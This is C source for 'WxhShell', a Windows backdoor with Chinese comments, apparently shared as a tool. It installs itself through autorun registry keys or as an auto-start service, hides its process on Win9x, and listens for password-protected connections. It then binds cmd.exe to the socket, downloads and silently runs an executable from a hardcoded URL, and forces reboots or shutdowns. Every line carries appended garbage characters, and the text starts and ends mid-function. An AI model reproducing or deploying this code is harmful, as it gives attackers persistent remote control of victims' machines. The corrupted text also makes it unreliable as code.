    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  "@Bc eD  
    if(Boot(SHUTDOWN)) +Q If7=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <oI{:KH  
    else { _Z.lr\  
    closesocket(wsh); 49nZWv48"_  
    ExitThread(0); h/5n+*x(  
    } _2q4Aaza  
    break; <_uLf9j a  
    } x6* {@J&5*  
  // 获取shell mG7Wu{~=U  
  case 's': { '$ ~.x|  
    CmdShell(wsh); Z{EHV7  
    closesocket(wsh); pM@|P,w {  
    ExitThread(0); Kw3fpNd  
    break; v{i'o4  
  } R5ZnkPEA  
  // 退出 R s_@L}U..  
  case 'x': { $/}*HWVZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v$K`C;  
    CloseIt(wsh); Qpndi$2H!  
    break; -?!|W-}@G=  
    } >1`FR w<  
  // 离开 HD IB GG~  
  case 'q': { R<Ojaj=V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {lT9gJ+  
    closesocket(wsh); <t,uj.9_  
    WSACleanup(); gd]vrW'wj  
    exit(1); )@Z J3l.  
    break; xH; qJRHa  
        } R@5jEf  
  } xQ>c.}J/i  
  } lJ3/^Htn  
S5@/;T  
  // 提示信息 {q~Bss{z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZwAX+0  
} C?#if;c  
  } S6B(g_D|  
$JypVA(CX  
  return; (sW:^0p  
} Dw%>y93V  
DifRpj I-0  
// shell模块句柄 #] vq <Y  
int CmdShell(SOCKET sock) IPbdX@FeV  
{ l,1}1{k&  
STARTUPINFO si; x +! <_p  
ZeroMemory(&si,sizeof(si)); 4))u*c/,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i/Q*AG>b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AU}lKq7%  
PROCESS_INFORMATION ProcessInfo; JS642T  
char cmdline[]="cmd"; r62x*?/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hQ i[7r($8  
  return 0; xB68RQe)  
} Oo`P +S#  
]}<.Y[!S  
// 自身启动模式 kI<C\ *N  
int StartFromService(void) -3/:Dk`3  
{ oB-&ma[ZS  
typedef struct i 6kW"5t  
{ FZ #ngrT  
  DWORD ExitStatus; +o?.<[>!GR  
  DWORD PebBaseAddress; U_ V0  
  DWORD AffinityMask; RI:x`do  
  DWORD BasePriority; +>.plvZhu  
  ULONG UniqueProcessId; .i"v([eQ  
  ULONG InheritedFromUniqueProcessId; ?6p6OB  
}   PROCESS_BASIC_INFORMATION; \u2K?wC  
\_!FOUPz(  
PROCNTQSIP NtQueryInformationProcess; 4(R O1VWsb  
YUF!Y9!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %aaOws  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +#6WORH0S  
j23OgbI  
  HANDLE             hProcess; R# 8D}5[&  
  PROCESS_BASIC_INFORMATION pbi; t+q LQY}=  
C N"V w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %{yr#F=t#]  
  if(NULL == hInst ) return 0; @!Il!+^3  
KA`1IW;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UX41/# 4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }1`Rq?@J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y`E2IE2o  
\C ZiU3  
  if (!NtQueryInformationProcess) return 0; 7Fq mT  
E,xCfS)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UIL5K   
  if(!hProcess) return 0; tW|B\p}  
3HO 4 h\mp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -v&Q 'a  
Y3-Tg~/~W  
  CloseHandle(hProcess); wC{ =o`v  
"h7Z(Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YM 7P!8Gc  
if(hProcess==NULL) return 0; 1;fs`k0p  
L FHyiIO  
HMODULE hMod; :B$=Pp1  
char procName[255]; /Or76kE  
unsigned long cbNeeded; ZZ!d:1'7  
).9-=P HlX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \&R}JK  
k|BY 7C  
  CloseHandle(hProcess); E-*udQ  
GE Xz)4[  
if(strstr(procName,"services")) return 1; // 以服务启动 &m'O :ZS2  
G2;Uv/vR  
  return 0; // 注册表启动 9`{Mq9J  
} uji])e MN~  
0w< iz;30  
// 主模块 ?TMo6SU  
int StartWxhshell(LPSTR lpCmdLine) \Y>^L{  
{ CS50wY  
  SOCKET wsl; d;D^<-[i  
BOOL val=TRUE; cn<9!2a  
  int port=0; xW/J ItF  
  struct sockaddr_in door; W;~^3Hz6  
E4}MvV=  
  if(wscfg.ws_autoins) Install(); @F=ZGmq  
sFSrMI#R  
port=atoi(lpCmdLine); S]<G|mn,  
|1J "r.K  
if(port<=0) port=wscfg.ws_port; tI.(+-q  
I #1_  
  WSADATA data; Qyt6+xL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~`*:E'/5k]  
- /#3U{O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dMRwQejY{7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $N,9 e  
  door.sin_family = AF_INET; B^h]6Z/O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q/Q^\HTk  
  door.sin_port = htons(port); Y8\Ms^rz  
D@DK9?#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SkvKzV.R;  
closesocket(wsl); b.YQN'  
return 1; <Y~V!9(~{Q  
} kZUuRB~om  
#n2GW^x  
  if(listen(wsl,2) == INVALID_SOCKET) { {[r'+=}l\S  
closesocket(wsl); 2q2wo&uK  
return 1; &+&^Hc  
} s15f <sp  
  Wxhshell(wsl); @3VL _g:  
  WSACleanup(); AuO%F YKY  
hzKfYJcQ|  
return 0; ?ZTB u[  
B-@f.NO/s  
} eRVu/TY  
*D4H;P#  
// 以NT服务方式启动 YI%S)$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Sn0?_vH4  
{ 61jDI^:  
DWORD   status = 0; HL88  
  DWORD   specificError = 0xfffffff; ;`F0 %0d  
K VQZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qIb(uF@l"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QL|Vke:N4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^e&,<+qY  
  serviceStatus.dwWin32ExitCode     = 0; Kl+*Sp!  
  serviceStatus.dwServiceSpecificExitCode = 0; jj.]R+.G  
  serviceStatus.dwCheckPoint       = 0; ZQ~?  
  serviceStatus.dwWaitHint       = 0; foL`{fA  
i"_f46r P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RKj A`cJ  
  if (hServiceStatusHandle==0) return; 4SG[_:+!  
3%cNePlr  
status = GetLastError(); 1 ViDS  
  if (status!=NO_ERROR) 5R o5Cg~  
{ k] f 7 3r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \OY2|  
    serviceStatus.dwCheckPoint       = 0; F." L{g  
    serviceStatus.dwWaitHint       = 0; 8,['q~z  
    serviceStatus.dwWin32ExitCode     = status; #m8Oy|Y9`  
    serviceStatus.dwServiceSpecificExitCode = specificError; -Tz9J4xU&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >!a*wf~]  
    return; & JF^a  
  } xX|-5cM;  
$"_D"/*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }* BY!5  
  serviceStatus.dwCheckPoint       = 0; hob%'Y5%D  
  serviceStatus.dwWaitHint       = 0; DtZkrj)D/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i 5_g z>  
} W6\s@)b;  
0} {QQB  
// 处理NT服务事件,比如:启动、停止 ~L}0) FZ\9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $(_i>&d<  
{ ?[T&y ,ln  
switch(fdwControl) _N*4 3O`  
{ | @mZ]`p  
case SERVICE_CONTROL_STOP: ]INbRytvc  
  serviceStatus.dwWin32ExitCode = 0; wk-ziw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g(<@r2p  
  serviceStatus.dwCheckPoint   = 0; /5wvXk|@  
  serviceStatus.dwWaitHint     = 0; =;T971L`  
  { l(<o,Uv[`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IS8ppu&E  
  } 8{h:z 9]J  
  return; ?= ulf GrY  
case SERVICE_CONTROL_PAUSE: _A%z^&k(i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vB#3jI  
  break; O(!wDnhc  
case SERVICE_CONTROL_CONTINUE: <0lfkeD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *8MU,6  
  break; &&t4G}*  
case SERVICE_CONTROL_INTERROGATE: B)Gm"bLCOZ  
  break; 8"p>_K=  
}; 9]d$G$Kv9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T>L6 X:d  
} RAxA H  
 |\,e9U>  
// 标准应用程序主函数 C' ny 2>uA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oOSw> 23x  
{ W\X51DrEx  
P$w0.XZa  
// 获取操作系统版本 +mH Kk  
OsIsNt=GetOsVer(); OyTBgS G?a  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  \ 1|T  
YSeXCJ:Iy  
  // 从命令行安装 2MJ0[9  
  if(strpbrk(lpCmdLine,"iI")) Install(); T!J\Dm-  
18|H  
  // 下载执行文件 m]&d TZV  
if(wscfg.ws_downexe) { 6Zkus20  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C2!POf;GdN  
  WinExec(wscfg.ws_filenam,SW_HIDE); N?R1;|Z]  
} pn'*w 1i  
Cee?%NaTS  
if(!OsIsNt) { x'n J_0  
// 如果时win9x,隐藏进程并且设置为注册表启动 jcevpKkRG  
HideProc(); szWh#O5=  
StartWxhshell(lpCmdLine); &9TG&~(+  
} R]L 7?=  
else 5\qoZs*e  
  if(StartFromService()) uVIs5IZzIi  
  // 以服务方式启动 7GE.>h5  
  StartServiceCtrlDispatcher(DispatchTable); ~ ]o .Mv a  
else M~P}80I  
  // 普通方式启动 :? yv0Iu  
  StartWxhshell(lpCmdLine); \e( h6,@  
Qm ;ip E  
return 0; !^B`7  
} HR)joD*q;[  
Rs5G5W@"A  
= V%s^  
2h u;N  
=========================================== &Zq43~  
;^t<LhN:  
yO$]9  
qnru atA  
l}Jf;C*j1z  
IjJ3./L!5  
" .hBE&Y>\  
\q%li)  
#include <stdio.h>  t\u0\l>  
#include <string.h> `ag>4?7?  
#include <windows.h> ^!N_Nx/M  
#include <winsock2.h> `<C)oF\~f  
#include <winsvc.h> RLecKw&1{3  
#include <urlmon.h> f; >DM  
j$Gb> Ex>  
#pragma comment (lib, "Ws2_32.lib") @yS  
#pragma comment (lib, "urlmon.lib") |cUlXg=  
MQw{^6Z>1  
#define MAX_USER   100 // 最大客户端连接数 ;lnh;0B  
#define BUF_SOCK   200 // sock buffer ~h  tV*R  
#define KEY_BUFF   255 // 输入 buffer 3[aCy4O  
l`fjz-eE  
#define REBOOT     0   // 重启 8H3|^J  
#define SHUTDOWN   1   // 关机 mgh,)=2cE(  
cYmMO[4YG'  
#define DEF_PORT   5000 // 监听端口 X=mzo\Aos  
IHMZE42  
#define REG_LEN     16   // 注册表键长度 )z$VQ=]"  
#define SVC_LEN     80   // NT服务名长度 ]X;Ty\UD&  
w\8grEj  
// 从dll定义API M*}C.E!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7bCTR2e\@w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T6%*t#8r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ld$LG6[PA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F=$2Gz 'RT  
fG2\p&z  
// wxhshell配置信息 bu,Z'  
struct WSCFG { Tg)Fr)  
  int ws_port;         // 监听端口 d]$z&E  
  char ws_passstr[REG_LEN]; // 口令  s>76?Q:i  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]aXCi"fMs  
  char ws_regname[REG_LEN]; // 注册表键名 TOeJnk  
  char ws_svcname[REG_LEN]; // 服务名 -U'6fx) +  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]?/[& PP,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _<=U.T`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8s6[?=nM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `GUj.+u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w}K<,5I>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t8E'd :pE  
VfAIx]Fa  
}; n$F&gx'^  
)g(2xUk-y  
// default Wxhshell configuration ,a~- (@  
struct WSCFG wscfg={DEF_PORT, ,A h QA  
    "xuhuanlingzhe", O}*[@uv/  
    1, 90Jxn'>^  
    "Wxhshell", =Bu d!  
    "Wxhshell", GL(R9Y  
            "WxhShell Service", dNB56E)5`J  
    "Wrsky Windows CmdShell Service", 4Fgy<^94`  
    "Please Input Your Password: ", O\q|b#q}/  
  1, 3^xTZ*G  
  "http://www.wrsky.com/wxhshell.exe", %19TJn%J$  
  "Wxhshell.exe" ^ RU"v>  
    }; !6'j W!  
P"cc$lB~I  
// 消息定义模块 9\0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &|LZ%W0Fb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {()8 W r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vHCz_ FV  
char *msg_ws_ext="\n\rExit."; 6-{QU] #  
char *msg_ws_end="\n\rQuit."; A84I*d  
char *msg_ws_boot="\n\rReboot..."; >}\!'3)_  
char *msg_ws_poff="\n\rShutdown..."; vClD)Ar  
char *msg_ws_down="\n\rSave to "; #6[FGM  
Y4YA1F  
char *msg_ws_err="\n\rErr!"; ,ic.b @u1  
char *msg_ws_ok="\n\rOK!"; ~ T|?!zML  
-4m UGh1dy  
char ExeFile[MAX_PATH]; MW=2GhD=  
int nUser = 0; EX7gTf#  
HANDLE handles[MAX_USER]; NmthvKhH   
int OsIsNt; 3+;]dqZ  
Mf^ ;('~  
SERVICE_STATUS       serviceStatus; CL5u{i5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I $!Y  
2_6x2Ia4  
// 函数声明 r]iec{ ^  
int Install(void); +O`0Mc$%'  
int Uninstall(void); U{ gJn#e/.  
int DownloadFile(char *sURL, SOCKET wsh); ;,}tXz  
int Boot(int flag); ^EdY:6NJ=A  
void HideProc(void); IKb 7#Ut  
int GetOsVer(void); &]iX>m.  
int Wxhshell(SOCKET wsl); %,g6:Zc@  
void TalkWithClient(void *cs); -)(HG)3  
int CmdShell(SOCKET sock); i|0H {q  
int StartFromService(void); x3xBl_t  
int StartWxhshell(LPSTR lpCmdLine); y,v*jE  
;]34l."85  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bm*Ell\a.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qP-*  
'Pk ( 1:  
// 数据结构和表定义 J~9l+?  
SERVICE_TABLE_ENTRY DispatchTable[] =  }bz v&k  
{ W]{mEB  
{wscfg.ws_svcname, NTServiceMain}, rIR~YMv!  
{NULL, NULL} /KFCq|;7s,  
}; _[zO?Div[  
LRW7_XYz  
// 自我安装 `ySLic`  
int Install(void) Z.Z+cFi  
{ kaQn'5  
  char svExeFile[MAX_PATH]; 6;i]v|M-  
  HKEY key; Jf{6'Ub  
  strcpy(svExeFile,ExeFile); U@ x5cw:  
y((I2g1rv  
// 如果是win9x系统,修改注册表设为自启动 jXB<"bw  
if(!OsIsNt) { y[BUWas(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6|+I~zJ88  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /DA'p[,  
  RegCloseKey(key); hdJW#,xq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RZi]0l_A'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !%>p;H%0  
  RegCloseKey(key); yyb8l l?@a  
  return 0; p"EQ6_f  
    } nm2bBX,fh  
  } |fkz=*rn  
} $e1==@ R  
else { ohklLZoZ  
|{udd~oE&  
// 如果是NT以上系统,安装为系统服务 NPF"_[RoeV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8%q:lI  
if (schSCManager!=0) W;en7v;#I}  
{ B%QvFxZz  
  SC_HANDLE schService = CreateService %H Pwu &  
  ( 2&7:JM~#  
  schSCManager, *f{\ze@5=  
  wscfg.ws_svcname, /@-!JF#g  
  wscfg.ws_svcdisp, D#R5G   
  SERVICE_ALL_ACCESS, &g%9$*gmT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |tF:]jnIt  
  SERVICE_AUTO_START, da<B6!  
  SERVICE_ERROR_NORMAL, 5jAiqJq~y:  
  svExeFile, mDZ/Kp{  
  NULL, ~Ry?}5&:  
  NULL, DtLga[M  
  NULL, },<(VhP  
  NULL, 1P i_V  
  NULL L|O[u^  
  ); %<c2jvn+k  
  if (schService!=0) :98<dQIG  
  { 2loy4f  
  CloseServiceHandle(schService);  {}>s0B  
  CloseServiceHandle(schSCManager); jNRR=0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &/)2P#u  
  strcat(svExeFile,wscfg.ws_svcname); 5eS0 B{,c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;$=kfj9 :7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eQK}J]S<  
  RegCloseKey(key); pK/r{/>r  
  return 0; o3C7JG  
    } #_oN.1u57  
  } $=&a 0O#  
  CloseServiceHandle(schSCManager); !' ;1;k);  
} !j8.JP}!)  
} $#2zxpr,  
vZhC_G+tGd  
return 1; |AD" }8  
} 3(?V!y{@  
)T2V< 3l  
// 自我卸载 I$yFCdXr  
int Uninstall(void) f7&53yZF  
{  C=k]g  
  HKEY key; 2H\ }N^;f  
 S(* u_  
if(!OsIsNt) { mV~aZM0'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MK1V1F`  
  RegDeleteValue(key,wscfg.ws_regname); >aw`kr  
  RegCloseKey(key); (}!xO?NA(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mk=M)d`  
  RegDeleteValue(key,wscfg.ws_regname); irZMgRQAT  
  RegCloseKey(key); :`jB1rI  
  return 0; st4WjX_Q  
  } ]{.iv_I  
} &7-ENg9 [  
} u4eA++ eT  
else { U!y GZEU"[  
^$>Q6.x?*)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Qk5pRoL_  
if (schSCManager!=0) 0R21"]L_M  
{ +mu.W r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %2q0lFdcM  
  if (schService!=0) !4Oj^yy%  
  { e9\eh? bPU  
  if(DeleteService(schService)!=0) { Cf~ vT"  
  CloseServiceHandle(schService); RA_gj lJi  
  CloseServiceHandle(schSCManager); #B$r|rqamq  
  return 0; %tK^&rw%  
  } ;:WM^S  
  CloseServiceHandle(schService); #TUuk  
  } d~QZc R  
  CloseServiceHandle(schSCManager); @r130eLh  
}  gl$}t H  
} XI5TVxo(q  
YqQAogy h  
return 1; [gkOwU=?  
} [<nmJ-V  
lWyg_YO@  
// 从指定url下载文件 &_1x-@oI2:  
int DownloadFile(char *sURL, SOCKET wsh) xo GX&^=  
{ )a=FhSB[G  
  HRESULT hr; yDORL| E'  
char seps[]= "/"; ^D]y<@01  
char *token; "KHe6otmi_  
char *file; ^1\[hyZ!  
char myURL[MAX_PATH]; s$3WJ'yr  
char myFILE[MAX_PATH]; Io*mFa?  
v(GT+i)|  
strcpy(myURL,sURL); 4#Rq}/h  
  token=strtok(myURL,seps); By;{Y[@rS  
  while(token!=NULL) $5r1Si)  
  { X[E!q$ag  
    file=token; B*;PF  
  token=strtok(NULL,seps); Ir?ehA  
  } ;\],R.!  
KB`">zq$u  
GetCurrentDirectory(MAX_PATH,myFILE); pKzrdw-!  
strcat(myFILE, "\\"); 3bK=Q3N  
strcat(myFILE, file); '{F Od_uk%  
  send(wsh,myFILE,strlen(myFILE),0); s$?u'}G3  
send(wsh,"...",3,0); d-ML[^G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3FQXp  
  if(hr==S_OK) ;/~%D(  
return 0; z#Cgd-^7.#  
else 52v@zDY  
return 1; 0 >:RFCo  
(@3?JJ]1  
} Dy|DQ>?}  
Uv|^k8(  
// 系统电源模块 'Im&&uSkr  
int Boot(int flag) 3IYbgUG  
{ W:y'a3~  
  HANDLE hToken; #(dERET*  
  TOKEN_PRIVILEGES tkp; Vd+5an?  
c]3^2Ag,  
  if(OsIsNt) { W't.e0L<6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?t"bF:!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |7:{vA5  
    tkp.PrivilegeCount = 1; 1g1gu=|Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .{Df"e>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tg%C>O  
if(flag==REBOOT) { S+M:{<AR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #e5*Dr8  
  return 0; &4V"FHy2  
} hZDv5]V:0  
else { Xb5 $ijH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *h Bo,   
  return 0; //H3{^{  
} :taRCh5  
  } 1`I#4f  
  else { qkh.? ~  
if(flag==REBOOT) { [0-zJy|,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VkDFR [k_  
  return 0; iT"H%{+~  
} J6*B=PX=(  
else { ^bckl tSo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ey3;rY1  
  return 0; WA79(B  
} `Ef &h V  
} \`:LPe  
YcJ2Arml  
return 1; fP 5!`8  
}  {r?qI  
wJF Fg :  
// win9x进程隐藏模块 $N`uM  
void HideProc(void) !kg)84C[  
{ u#m(Py  
iWNTI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M[ZuXH}  
  if ( hKernel != NULL ) qnZ`]?  
  { -!p -nk@9|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |~3$L\X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *cn#W]AE  
    FreeLibrary(hKernel); \ml6B6  
  } B(%bBhs  
&Jw4^ob  
return; f{[,!VG  
} ~IE5j,SC  
i|Y_X  
// 获取操作系统版本 K-}'Fiq  
int GetOsVer(void) 6@ HY+RCx  
{ 8Bnw//_pT  
  OSVERSIONINFO winfo; AH(O"v`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;ckv$S[p  
  GetVersionEx(&winfo); WxS=Aip'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r,4V SyZF\  
  return 1; m 5NF)eL  
  else jdYv*/^  
  return 0; ptmPO4f  
} }PY? ZG  
"lf_`4  
// 客户端句柄模块 r4xq%hy  
int Wxhshell(SOCKET wsl) ab 1\nzpd  
{ ,b@0Qa"  
  SOCKET wsh; :l>T~&/98  
  struct sockaddr_in client; NB&u^8b  
  DWORD myID; (;T; ?v`-  
IfZaK([  
  while(nUser<MAX_USER) <>JDA(F"  
{ ::vw 1Es  
  int nSize=sizeof(client); 9CWUhS   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =P+S]<O  
  if(wsh==INVALID_SOCKET) return 1; lm&C!{K  
EVj48  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'eo2a&S2D  
if(handles[nUser]==0) k- sbZL  
  closesocket(wsh); t MB;GIb #  
else )vS## -[_  
  nUser++; Te> 7I  
  } o0wep&@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kkrQ;i)Z  
=I/J !}.  
  return 0; {F k]X#j  
} ^%d+nKx9nL  
xsFWF*HPs  
// 关闭 socket EW4XFP4 c  
void CloseIt(SOCKET wsh) kozg8 `\]  
{ zPV/{)S  
closesocket(wsh); $Y,]D*|"K  
nUser--; } 2)s%  
ExitThread(0); ~ilbW|s?=k  
} -r-`T s  
aXC`yQ?  
// 客户端请求句柄 ;gm){ g  
void TalkWithClient(void *cs) /,0t,"&Aqa  
{ ]hvB-R16f  
l}(~q!r  
  SOCKET wsh=(SOCKET)cs; +d6E)~qKL  
  char pwd[SVC_LEN]; p]+W1v}V!  
  char cmd[KEY_BUFF];  ]NAPvw#p  
char chr[1]; E7_^RWG  
int i,j; wOi>i`D&  
&7DE$ S  
  while (nUser < MAX_USER) { 9$DVG/  
!Q7   
if(wscfg.ws_passstr) { 2|%30i,vV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D}"GrY 5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LOida#R  
  //ZeroMemory(pwd,KEY_BUFF); DR0W)K ^  
      i=0; NM8 F  
  while(i<SVC_LEN) {  Uero!+_  
N'`*#UI+  
  // 设置超时 c~RIl5j  
  fd_set FdRead; 7GP?;P  
  struct timeval TimeOut; fRa1m?%s  
  FD_ZERO(&FdRead); 6U /wFT!7$  
  FD_SET(wsh,&FdRead); ]owH [wvX  
  TimeOut.tv_sec=8; ;C"J5RA  
  TimeOut.tv_usec=0; WJ.PPq>]F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f8&=D4)-w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Pdn.c1[-a  
g{J3Ba  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I'@ }Yjm|  
  pwd=chr[0]; d;;=s=j  
  if(chr[0]==0xd || chr[0]==0xa) { hsE!3[[  
  pwd=0; #SqOJX~Q  
  break; ^2??]R&Q  
  } Lw#h nLI.  
  i++; B\=&v8  
    } {[9^@k  
TRq~n7Y7C  
  // 如果是非法用户,关闭 socket ^Ue.9#9T&g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d)G-K+&B  
} N4Lk3]  
b R6bS7$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cu"%>>,,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ml3F\ fAW  
S77Gc:[;8  
while(1) { k Z3tz?Du  
YW}/C wB  
  ZeroMemory(cmd,KEY_BUFF); -12v/an]L7  
d}=p-s.GA  
      // 自动支持客户端 telnet标准   67g/(4&  
  j=0; -(iJ<  
  while(j<KEY_BUFF) { L9kP8&&KK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B 3h<K}  
  cmd[j]=chr[0]; CeJ|z {F\  
  if(chr[0]==0xa || chr[0]==0xd) { M`<D Z<:<  
  cmd[j]=0; s=nds"J  
  break; Qm-P& g-  
  } ?~K2&eo  
  j++; hnZHu\EJ  
    } 'I~dJEW7  
< 9MnQ*@  
  // 下载文件 %G@aZWk Sa  
  if(strstr(cmd,"http://")) {  X"0Q)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); meL'toaJdQ  
  if(DownloadFile(cmd,wsh)) g3Q #B7A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ UzF nW@a  
  else 4TKi)0 #7  
